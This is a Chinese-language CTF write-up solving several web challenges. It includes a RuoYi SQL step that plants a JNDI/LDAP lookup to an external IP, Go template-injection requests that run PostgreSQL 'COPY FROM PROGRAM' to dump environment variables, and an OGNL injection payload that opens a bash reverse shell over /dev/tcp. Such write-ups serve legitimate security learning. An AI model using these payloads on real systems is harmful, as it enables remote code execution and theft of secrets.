MiniL-CTF writeup

Jvav Guy

这题我看Ruoyi版本4.8,以为是最新的定时任务打组合拳getshell。能够反连服务器,但是加载不了恶意类。卡了很久,看到hint才知道是shiro反序列化
新的组合拳:


genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f33362e3231322e3137302e3134373a323333332f612729 WHERE job_id = 1;')

然后发现可以是spring的文件泄露内存heapdump然后打拿到key
打shiro反序列化,不多说了捏 全是工具

SmartPark

package main  
  
import (  
    _ "SmartPark/docs"  
    "fmt"    "github.com/gin-gonic/gin"    "io"    "net/http"    "regexp"    "text/template"    "time")  
  
// @Summary Test template  
// @Description Test template endpoint (requires authentication)  
// @Accept plain  
// @Produce plain  
// @Param body body string false "Template body"  
// @Success 200 {string} string "When Success"  
// @Failure 500 {string} string "Error"  
// @Router /test [post]  
func templateTest(c *gin.Context) {  
    body, err := io.ReadAll(c.Request.Body)  
    if err != nil {  
       c.String(http.StatusInternalServerError, "Failed to read request body")  
       return  
    }  
    if len(body) == 0 {  
       body = []byte("Welcome, server time: {{.Result}}")  
    }  
    f := newQuery()  
    f.DbCall("SELECT now();")  
  
    tmpl := template.Must(template.New("text").Parse(string(body)))  
    c.Writer.WriteHeader(http.StatusOK)  
    tmpl.Execute(c.Writer, f)  
}  
  
// @Summary Send source code file  
// @Description Send source file endpoint (requires authentication)  
// @Accept plain  
// @Produce octet-stream  
// @Router /backup [get]  
func srcSend(c *gin.Context) {  
    filePath := "/tmp/src.zip"  
    c.File(filePath)  
}  
  
// @Summary Add new account  
// @Description Add new account endpoint, do not use weak pass or short username  
// @Accept x-www-form-urlencoded  
// @Produce plain  
// @Param username formData string true "Username"  
// @Param password formData string true "Password"  
// @Success 200 {string} string "Success"  
// @Failure 403 {string} string "Failure reasons"  
// @Router /account [post]  
func accountAddition(c *gin.Context) {  
    username := c.PostForm("username")  
    password := c.PostForm("password")  
  
    //check  
    usernameRegex := regexp.MustCompile(`^[a-zA-Z0-9]{6,}$`)  
    passwordRegex := regexp.MustCompile(`^[a-zA-Z0-9]{8,}$`)  
  
    if !usernameRegex.MatchString(username) {  
       c.String(http.StatusForbidden, "Username is not valid")  
       return  
    }  
  
    if !passwordRegex.MatchString(password) {  
       c.String(http.StatusForbidden, "Password is not valid")  
       return  
    }  
  
    sql := fmt.Sprintf("INSERT INTO users (username, password) VALUES ('%s', '%s');", username, password)  
  
    f := newQuery()  
    f.DbCall(sql)  
  
    c.JSON(http.StatusOK, f)  
}  
  
// @Summary Delete account  
// @Description Delete account endpoint  
// @Accept plain  
// @Produce plain  
// @Param id path string true "Account ID"  
// @Success 200 {string} string "Success"  
// @Failure 403 {string} string "Failure reasons"  
// @Router /account [delete]  
func accountDeletion(c *gin.Context) {  
  
    id := c.Param("id")  
  
    //check  
    regex := regexp.MustCompile(`^[0-9]+$`)  
  
    if !regex.MatchString(id) {  
       c.String(http.StatusForbidden, "ID is not valid")  
       return  
    }  
  
    sql := fmt.Sprintf("DELETE FROM users WHERE id=%s;", id)  
  
    f := newQuery()  
    f.DbCall(sql)  
  
    c.JSON(http.StatusOK, f)  
}  
  
// @Summary Query parking information  
// @Description Query parking information endpoint  
// @Accept x-www-form-urlencoded  
// @Produce plain  
// @Param plate path string true "Plate number"  
// @Success 200 {string} string "Success"  
// @Failure 403 {string} string "Failure reasons"  
// @Router /vehicleInfo [get]  
func parkingQuery(c *gin.Context) {  
    plate := c.Param("plate")  
  
    if plate == "" {  
       c.String(http.StatusForbidden, "Plate number required")  
       return  
    }  
  
    //check  
    plateRegex := regexp.MustCompile(`/^[京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领]{1}[A-Z]{5}[A-Z0-9]$/`)  
  
    if !plateRegex.MatchString(plate) {  
       c.String(http.StatusForbidden, "Plate number is not valid")  
       return  
    }  
  
    sql := fmt.Sprintf("SELECT * FROM vehicle_info WHERE plate = '%s';", plate)  
    f := newQuery()  
    f.DbCall(sql)  
    c.JSON(http.StatusOK, f)  
}  
  
// @Summary Add new parking information  
// @Description Add new parking information endpoint  
// @Accept x-www-form-urlencoded  
// @Produce plain  
// @Param driver_id formData string true "Driver ID"  
// @Param driver_name formData string true "Driver Name"  
// @Param plate formData string true "Plate Number"  
// @Param describe formData string false "Description"  
// @Success 200 {string} string "Success"  
// @Failure 403 {string} string "Failure reasons"  
// @Router /vehicleInfo [post]  
func parkingAddition(c *gin.Context) {  
    driverID := c.PostForm("driver_id")  
    driverName := c.PostForm("driver_name")  
    plate := c.PostForm("plate")  
    describe := c.PostForm("describe")  
  
    //check  
    idRegex := regexp.MustCompile(`^[0-9]+$`)  
    nameRegex := regexp.MustCompile("^[a-zA-Z\\p{Han}]+$")  
    plateRegex := regexp.MustCompile(`/^[京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领]{1}[A-Z]{5}[A-Z0-9]$/`)  
  
    if !idRegex.MatchString(driverID) {  
       c.String(http.StatusForbidden, "Driver ID is not valid")  
       return  
    }  
  
    if !nameRegex.MatchString(driverName) {  
       c.String(http.StatusForbidden, "Driver name is not valid")  
       return  
    }  
  
    if !plateRegex.MatchString(plate) {  
       c.String(http.StatusForbidden, "Plate content is not valid")  
       return  
    }  
  
    sql := fmt.Sprintf("INSERT INTO vehicle_info (driver_id, driver_name, plate, describe) VALUES (%s, '%s', '%s', '%s');", driverID, driverName, plate, describe)  
    f := newQuery()  
    f.DbCall(sql)  
  
    c.JSON(http.StatusOK, f)  
}  
  
// @Summary Delete parking information  
// @Description Delete parking information endpoint  
// @Accept x-www-form-urlencoded  
// @Produce plain  
// @Param id path string true "Parking ID"  
// @Success 200 {string} string "Success"  
// @Failure 403 {string} string "Failure reasons"  
// @Router /vehicleInfo [delete]  
func parkingDeletion(c *gin.Context) {  
    id := c.Param("id")  
  
    //check  
    regex := regexp.MustCompile(`^[0-9]+$`)  
  
    if !regex.MatchString(id) {  
       c.String(http.StatusForbidden, "ID is not valid")  
       return  
    }  
  
    sql := fmt.Sprintf("DELETE FROM vehicle_info WHERE id=%s;", id)  
  
    f := newQuery()  
    f.DbCall(sql)  
  
    // 返回成功或失败的响应  
    c.JSON(http.StatusOK, f)  
}  
  
// @Summary User login  
// @Description User login endpoint// @Accept x-www-form-urlencoded  
// @Produce plain  
// @Param username formData string true "Username"  
// @Param password formData string true "Password"  
// @Param captcha_key formData string true "Captcha Key"  
// @Param captcha_token formData string true "Captcha Token"  
// @Success 200 {string} string "Success"  
// @Failure 403 {string} string "Failure reasons"  
// @Router /login [post]  
func login(c *gin.Context) {  
    username := c.PostForm("username")  
    password := c.PostForm("password")  
    captchaKey := c.PostForm("captcha_key")  
    captchaToken := c.PostForm("captcha_token")  
  
    usernameRegex := regexp.MustCompile("^[a-zA-Z0-9]{6,}$")  
    passwordRegex := regexp.MustCompile(`^[\x20-\x7E]{8,}$`)  
    keyRegex := regexp.MustCompile(`^[A-Z0-9]{4}$`)  
    tokenRegex := regexp.MustCompile(`^[A-Z0-9]{16}$`)  
  
    if !usernameRegex.MatchString(username) {  
       c.String(http.StatusForbidden, "Username is not valid")  
       return  
    }  
  
    if !passwordRegex.MatchString(password) {  
       c.String(http.StatusForbidden, "Password is not valid")  
       return  
    }  
  
    if !keyRegex.MatchString(captchaKey) {  
       c.String(http.StatusForbidden, "Captcha key is not valid")  
       return  
    }  
  
    if !tokenRegex.MatchString(captchaToken) {  
       c.String(http.StatusForbidden, "Captcha token is not valid")  
       return  
    }  
  
    captchaExists := queryCaptcha(captchaKey, captchaToken)  
  
    if !captchaExists {  
       c.String(http.StatusForbidden, "Invalid captcha")  
       return  
    }  
  
    userExists, correctPassword := queryUser(username, password)  
  
    if !userExists {  
       c.String(http.StatusForbidden, "User not found")  
       return  
    }  
  
    if !correctPassword {  
       c.String(http.StatusForbidden, "Incorrect password")  
       return  
    }  
  
    jwtToken, err := genAuth(username)  
    if err != nil {  
       c.String(http.StatusForbidden, "Generate auth token failed")  
       return  
    }  
  
    c.Header("Authorization", jwtToken)  
  
    c.JSON(http.StatusOK, gin.H{"message": "Login successful"})  
}  
  
// @Summary Generate new captcha  
// @Description Generate new captcha endpoint  
// @Accept plain  
// @Produce json  
// @Success 200 {string} string "Success"  
// @Router /captcha [get]  
func newCaptcha(c *gin.Context) {  
    key, token := genCaptcha()  
    sql := fmt.Sprintf("INSERT INTO captcha (key, token) VALUES ('%s', '%s');", key, token)  
    f := newQuery()  
    f.DbCall(sql)  
    c.JSON(http.StatusOK, gin.H{"key": key, "token": token, "time": time.Now()})  
}

关键代码段在这:


func templateTest(c *gin.Context) {  
    body, err := io.ReadAll(c.Request.Body)  
    if err != nil {  
       c.String(http.StatusInternalServerError, "Failed to read request body")  
       return  
    }  
    if len(body) == 0 {  
       body = []byte("Welcome, server time: {{.Result}}")  
    }  
    f := newQuery()  
    f.DbCall("SELECT now();")  
  
    tmpl := template.Must(template.New("text").Parse(string(body)))  
    c.Writer.WriteHeader(http.StatusOK)  
    tmpl.Execute(c.Writer, f)  
}  

这又ssti注入,go语言的模板注入和python的还有点不一样

这里参考一下文章:

https://xz.aliyun.com/t/12642

然后模板渲染对象:

我们找和他有关的函数,找到了任意sql执行

POST http://localhost:4663/test HTTP/1.1
Host: localhost:4663
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/plain
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:4663/swagger/index.html
Content-Type: text/plain
Content-Length: 62
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ5OTE3NDMsInN1YiI6Im1hc3RlciJ9.oEn90jzUwqqJUVHuqZNjq7XsPuJ9PLtnGlHuHYYA-PA 
Origin: http://localhost:4663
Connection: close
Cookie: com.wibu.cm.webadmin.lang=zh-CN; com.wibu.cm.webadmin.page=container.html; com.wibu.cm.webadmin.scroll=0; com.wibu.cm.webadmin.jumps=1; com.wibu.cm.webadmin.boxserial=130-3272247609; com.wibu.cm.webadmin.tab=1; Pycharm-5ca11bcd=7dbf2fd0-8b3c-413a-9ed0-f3669193685b; Phpstorm-935dd8d9=b1a65961-6200-407a-907f-c6f1fc2d1001; Idea-7d188689=5a281707-0ba1-47f6-8efa-e4c47c91fd9c; kodUserLanguage=zh-CN
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{{
.DbCall "
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'env>/tmp/harder';
SELECT * FROM cmd_exec;"}}
POST http://localhost:4663/test HTTP/1.1
Host:localhost:4663
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/plain
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:4663/swagger/index.html
Content-Type: text/plain
Content-Length: 143
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ5OTMzNjgsInN1YiI6Im1hc3RlciJ9.bkuhNko6Ab5fMst5qN93nZeW-z1a77XOqWwWSIysCUo 
Origin: http://localhost:4663
Connection: close
Cookie: com.wibu.cm.webadmin.lang=zh-CN; com.wibu.cm.webadmin.page=container.html; com.wibu.cm.webadmin.scroll=0; com.wibu.cm.webadmin.jumps=1; com.wibu.cm.webadmin.boxserial=130-3272247609; com.wibu.cm.webadmin.tab=1; Pycharm-5ca11bcd=7dbf2fd0-8b3c-413a-9ed0-f3669193685b; Phpstorm-935dd8d9=b1a65961-6200-407a-907f-c6f1fc2d1001; Idea-7d188689=5a281707-0ba1-47f6-8efa-e4c47c91fd9c; kodUserLanguage=zh-CN
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{{
.DbCall  "Select lo_import('/tmp/harder',12345678);"
}}
POST http://localhost:7395/test HTTP/1.1

Host:localhost:7395

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0

Accept: text/plain

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://localhost:4663/swagger/index.html

Content-Type: text/plain

Content-Length: 143

Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ5OTM3MDQsInN1YiI6ImFkbWluMTIzIn0.suMIozHDepTKfGEiKVPg7Akbu417TAjUCjKx-k9H6QI

Origin: http://localhost:4663

Connection: close

Cookie: com.wibu.cm.webadmin.lang=zh-CN; com.wibu.cm.webadmin.page=container.html; com.wibu.cm.webadmin.scroll=0; com.wibu.cm.webadmin.jumps=1; com.wibu.cm.webadmin.boxserial=130-3272247609; com.wibu.cm.webadmin.tab=1; Pycharm-5ca11bcd=7dbf2fd0-8b3c-413a-9ed0-f3669193685b; Phpstorm-935dd8d9=b1a65961-6200-407a-907f-c6f1fc2d1001; Idea-7d188689=5a281707-0ba1-47f6-8efa-e4c47c91fd9c; kodUserLanguage=zh-CN

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

  

{{

.DbCall  "select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a"

}}

后面的命令执行参考这个:
https://tttang.com/archive/1547/#toc_0x06-postgresql

SmartPark-Revenge

和上题目一样打就行

Snooker King

直接搜索即可 没有混淆

InjectionS

OGNL表达式注入
/admin/1有权限限制

用/admin/1%0d%0a即可绕过限制

因为url中他是按照/判断结束的所有想办法绕过/,用getProperty来获取属性(这行代码会获取键名为 "file.separator" 的单独的系统属性,这个属性定义了当前系统中用于分隔文件路径的字符,如在Unix和Linux系统中是 "/",而在Windows系统中是 "\"。)

@java.lang.Runtime@getRuntime().exec(@java.lang.System@getProperty("file.separator").concat("bin").concat(@java.lang.System@getProperty("file.separator")).concat("bash%20-c%20bash$IFS$9-i%3E&").concat(@java.lang.System@getProperty("file.separator")).concat("dev").concat(@java.lang.System@getProperty("file.separator")).concat("tcp").concat(@java.lang.System@getProperty("file.separator")).concat("IP地址").concat(@java.lang.System@getProperty("file.separator")).concat("端口%3C&1"))

反弹shell即可